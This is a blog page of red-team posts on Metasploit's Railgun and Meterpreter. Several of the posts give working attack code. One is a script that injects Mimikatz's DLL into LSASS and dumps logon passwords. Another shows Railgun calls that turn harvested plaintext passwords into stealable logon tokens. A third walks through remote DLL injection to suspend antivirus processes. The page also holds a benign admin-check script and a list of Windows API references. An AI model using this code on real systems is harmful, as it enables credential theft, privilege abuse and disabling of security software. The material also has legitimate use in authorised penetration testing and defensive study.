Search
Social Media - Mubix
Login

Entries in railgun (6)

Tuesday
Jul312012

Raising Zombies in Windows: Part 1 - Passwords

With the use of Mimikatz and WCE, clear text passwords are much more common. What isn't always there is the user. They take lunches, go home at a reasonable time and generally aren't really appreciative of our (pentester/red teamer)'s schedule.

A straight forward way, and provided by Microsoft to create a process as a user (whereby having their token readily available is using 'runas.exe':

Screen Shot 2012 07 31 at 4 04 41 PM

w00t, we the user is present, we can migrate our meterepreter session into that notepad and we're good right? Problem there is you have to interactively input the password, so without a real cmd.exe or RDP session of your own, (VNC payload would work), you're generally SOL.

There are a ton of posted ways around this, most involve make a wrapper script to input the password for you such as this one:

Screen Shot 2012 07 31 at 3 24 11 PM

(this was pretty unique as it actually sent the keys to the key buffer instead of directly to STDIN)

Another way if you don't mind dropping / creating a custom bin, AutoIT makes this REALLY simple:

Screen Shot 2012 07 31 at 3 57 42 PM

This could be 2 lines if you really wanted it to be but I like to make things a bit more universal. You could also execute this directly in memory with meterepreter's execute command with the "-m" argument after you've built the AutoIT script into a EXE.

But what go through all that trouble? Railgun can do this just as easily. Drop to IRB or create a script that does the following:

a = client.railgun.kernel32.GetStartupInfoW(56)["lpStartupInfo"]

client.railgun.advapi32.CreateProcessWithLogonW("USER","DOMAIN","PASSWORD","LOGON_WITH_PROFILE","notepad.exe",nil,0,nil,nil,a,32)

This will create a notepad.exe process with the defined user. But we can go a bit more stealthy, since we really only need their account token we can just user LogonUser:

client.railgun.advapi32.LogonUserA("USER","DOMAIN","PASSWORD","LOGON32_LOGON_INTERACTIVE","LOGON32_PROVIDER_DEFAULT",4)

 
List the tokens available with Incognito, your new user will be there, steal it and you're done. You now have the ability to user that account/domain token on any of the hosts you've compromised on the network, not just the ones they happen to have left themselves logged in. This gets really fun on servers where the admin hasn't logged in but you wanna grab all of their IE saved passwords ;-)

 

Friday
Jun152012

Integration of Mimikatz into Metasploit Stage1

One of the powers of Metasploit is it's ability to stay memory resident. Through the use of reflective DLL injection even keeping new functionality the attack loads from ever touching disk. Well, the first thing I wanted to do with Mimikatz is get to that same level.

Here is my first step to that end; a railgun based Meterpreter script. Now before going all reflective with it I needed to understand how the DLL worked. Thankfully @gentilkiwi stepped in and stopped my head from getting bloody. In this first step we will be removing the need for the mimikatz.exe binary, still needing the DLL to be uploaded, but we'll get there in the subsequent posts.

Ignore the do_cmd for now and I stepped through remote DLL injection here. So the first odd lines is 

handle = client.railgun.kernel32.CreateNamedPipeW('\\\\.\\pipe\\kiwi\\mimikatz', 'PIPE_ACCESS_DUPLEX', 'PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT', 1, 0, 0, 30000,nil)['return']

connectedlsass = client.railgun.kernel32.ConnectNamedPipe(handle,nil)

 

Essentially these connect to the Named Pipe that the sekurlsa.dll uses to talk to the mimikatz.exe in it's normal operation. Then we just use the windows API call "ReadFile" from there on out.

client.railgun.kernel32.ReadFile(handle,248,248,4,nil)

One of the draw backs to doing this all remotely is that Railgun doesn't have the memory management insight like the Windows OS does. Being able to know when pipes are ready to be read or written to is  a bit of a challenge and the call hangs your IRB / meterpreter session if you get it wrong. I've overcome this for the initial "banner" that sekurlsa writes by knowing the exact length (248 bytes in this case) of the text. For subsequent commands like "ping" and "getLogonPasswords" I simply have to read one character at a time, which is a slow process but removes any chance of getting hung. (Two bytes for every Unicode character)

If you have any questions on how/why this works or have a better way please leave your comments and questions below or hit me up on twitter!


Meterpreter Script:

def do_cmd(handle,cmd)
	ucommand = Rex::Text.to_unicode(cmd)
	sendcmd = client.railgun.kernel32.WriteFile(handle,ucommand,ucommand.size,4,nil)
	good2go = false
	newline = false
	readstring = []
	while good2go == false
		# Have to pull data 1 unicode character at a time
		# this is because the pipe won't write or read if
		# too much was written or read by the "client" (us)
		pull = client.railgun.kernel32.ReadFile(handle,2,2,4,nil)
		# Check to see if our end of read check is there: \n000 @\000
		if pull['lpBuffer'] == "@\000" and newline == true
			good2go = true
		else
			readstring << pull['lpBuffer']
		end
		
		# Ready the newline var for previous check on next loop
		if pull['lpBuffer'] == "\n\000"
			newline = true
		else
			newline = false
		end
	end
	
	print_status(readstring.join(""))
end

print_status("x86 Detected - Using x86 mimikatz")
handle = client.railgun.kernel32.CreateNamedPipeW('\\\\.\\pipe\\kiwi\\mimikatz', 'PIPE_ACCESS_DUPLEX', 'PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT', 1, 0, 0, 30000,nil)['return']
print_status("Handle: #{handle}")
framework.threads.spawn('injectlsass',false) {
	pid = client.sys.process['lsass.exe']
	print_status("LSASS located at PID: #{pid}")
	pathtomimi = "C:\\sekurlsa.dll"

	pay = client.framework.payloads.create("windows/loadlibrary")
	pay.datastore["DLL"] = pathtomimi
	pay.datastore["EXITFUNC"] = 'thread'

	raw = pay.generate
	targetprocess = client.sys.process.open(pid, PROCESS_ALL_ACCESS)
	mem = targetprocess.memory.allocate(raw.length + (30024))
	targetprocess.memory.write(mem, raw)
	sleep(2)
	targetprocess.thread.create(mem, 0)
	print_status("Successfully Injected into LSASS")
}
print_status("Waiting for LSASS injection to complete")
connectedlsass = client.railgun.kernel32.ConnectNamedPipe(handle,nil)
print_status("Mimikatz has called home, ready for command")
sleep(2)
print_status("Reading banner")
client.railgun.kernel32.ReadFile(handle,248,248,4,nil)
print_status("Doing a quick ping to make sure things are working...")
do_cmd(handle,'ping')
print_status("If you made it this far it worked, doing getLogonPasswords")
do_cmd(handle, 'getLogonPasswords')
Monday
May302011

Remote DLL Injection with Meterpreter

Recently Didier Stevens wrote 'Suspender.dll' which is a DLL that will suspend a process and all of it's child processes after a delay. 60 seconds is it's default but you can rename the DLL to add a number (as such 'Suspender10.dll' for 10 seconds) to make the delay whatever you wish. You can find the blog post and download here: http://blog.didierstevens.com/2011/04/27/suspender-dll/

Jonathan Cran and I had the same idea, as I'm sure many others did as well. This might work against AntiVirus setups that protect themselves from being killed or their services stopped.

I still stand by my original claim that just removing it is easier (Blog Post: Silently Uninstall SEP). However that might be something the user notices (A little shield disappearing).

Well, I didn't know how to do this with meterpreter so a bit of google fu landed me on: http://www.codeproject.com/KB/threads/winspy.aspx which has 3 different ways to attack the 2nd of which used a DLL (score!)

Using IRB within a meterpreter shell I started using Railgun (because once you know something sometimes its easy not too look for other solutions)

I start off setting up some variables after I've uploaded Suspender.dll:

pid = 1436
sizeofsuspend = 52376
pathtosuspend = "C:\\Docume~1\\Administrator\\Desktop\\Suspender10.dll"

Next up we need to open a handle on the target process:

handle = client.railgun.kernel32.OpenProcess(PROCESS_ALL_ACCESS,false,pid)["return"]

With the handle we allocate some memory in the remote process for our DLL to live in:

allocatedmem = client.railgun.kernel32.VirtualAllocEx(handle,nil,sizeofsuspend,MEM_COMMIT,PAGE_READWRITE)["return"]

Writing that DLL to memory isn't much harder: (this and the previous step is the wrong way to do things as we'll see later)

client.railgun.kernel32.WriteProcessMemory(handle,allocatedmem,pathtosuspend,sizeofsuspend,nil)

Here is the hard part. We have to somehow figure out the address LoadLibraryA in the remote processes memory space, accounting for ASLR then pass it the location in memory where our DLL is hiding. Yah, I couldn't figure this one out, here is the best I did:

client.railgun.kernel32.CreateRemoteThread(handle,nil,0,allocatedmem,pathtosuspend,0,nil)

Then I got a friendly reminder by HD that most of this was built into meterpreter already so all that railgun nastness boils down to someting a lot simpler. Set the variables again:

pid = 1436
pathtosuspend = "C:\\Docume~1\\Administrator\\Desktop\\Suspender10.dll"

But this time we are going to use the loadlibrary payload that just got added to Metasploit Framework in r12765. We generate the payload with it pointing at our Suspender DLL:

pay = client.framework.payloads.create("windows/loadlibrary")
pay.datastore['DLL'] = pathtosuspend
pay.datastore['EXITFUNC'] = 'thread'
raw = pay.generate

Open the process, this time with Rex:

targetprocess = client.sys.process.open(pid, PROCESS_ALL_ACCESS)

Allocate the memory in the remote process write the payload (not our DLL) into that space:

mem = targetprocess.memory.allocate(raw.length + (raw.length % 1024))
targetprocess.memory.write(mem, raw)

And finally create the remote thread.. MUCH easier (The power of Rex even over Railgun)

targetprocess.thread.create(mem, 0)

And 10 seconds later our AV and all it's children processes stop. Suspended by Didier's Suspender.DLL. Thanks to HD for the slap in the head that I was doing things the wrong way and the 1 AM update to the framework that made this possible.

Monday
Sep132010

Am I an Admin? Railgun Script

When you first step on a machine, you want to determine quickly if you are just a user or an administrator. Meterpreter doesn’t have a way to quickly check this. You could drop to a shell, check the local users group “Adminitrators”, and check your user, and correlate any groups that are shared between the outputs. You could do ‘getsystem’ and if one works other than Kitrap0d. You could also just do a ‘ps’ and notice that you can see ‘SYSTEM’ processes.

But, I wanted to make a way that check a bunch of sessions all at once. So I wrote “AmIAdmin.rb” which uses meterpreter’s railgun extension to execute “IsUserAdmin”.

Being that Shell32.dll isn’t included in railgun by default we have to add it. After writing it I decided to add some checks. These checks make sure that each piece of the script isn’t already loaded. It’s a good reference for doing this in the future.

(you can remove the print_status lines if you want the script to be quieter)

Here is the script for your consumption:

if client.platform == "x64/win32"
        print_status "Railgun is currently not supported for x64 bit systems"
        raise Rex::Script::Completed
end

if client.railgun.present? == true
        print_status "Railgun already loaded.. skipping"
else
        print_status "Loading Railgun"
        client.core.use("railgun")
end

if client.railgun.dll['shell32'] == nil
        print_status "Adding Shell32.dll"
        client.railgun.add_dll('shell32','shell32')
else
        print_status "Shell32 already loaded.. skipping"
end

if (client.railgun.shell32.functions['IsUserAnAdmin'] == nil
        print_status "Adding the IsUserAnAdmin function"
        client.railgun.add_function('shell32', 'IsUserAnAdmin', 'BOOL', [])
else
        print_status "IsUserAnAdmin already loaded.. skipping"
end

print_status "Running the IsUserAnAdmin function"
status = client.railgun.shell32.IsUserAnAdmin()

if status["return"] == true then
        print_status "You are an administrator"
else
        print_error "You are not an administrator"
end

Tuesday
Aug032010

resources for railgun development

Metasploit’s Railgun is awesome, but getting things to work correctly can be a pain. Here are some of the resources that have helped me out:

  1. System Error Codes – This is hands down the best resource you have, it will tell you what that stupid “5” or “1314” means in your return value. Keep this tab open to circumvent crazed bovine attacks.
  2. theForger’s Win32 API Programming Tutorial – A really good place to start when you are getting to know the Windows API and the frustrations that come along with it. I highly recommend going through it first.
  3. MS Windows API Reference – Gigantic, and not the easiest to navigate, but really good for knowing what calls were added with each version of Windows as well as a basic (alphabetic) list of calls. Good if you know where you are going.
  4. The Undocumented Functions – Win NT/2k/XP/2k3 – A really old link but has good references to undocumented functions that have helped circumvent some of the stupidity of other more complicated functions.
  5. WineAPI Documentation – A great resource of API calls that mimic the Microsoft ones (Undocumented and Documented).

Hope this helps and I look forward to seeing what you come up with...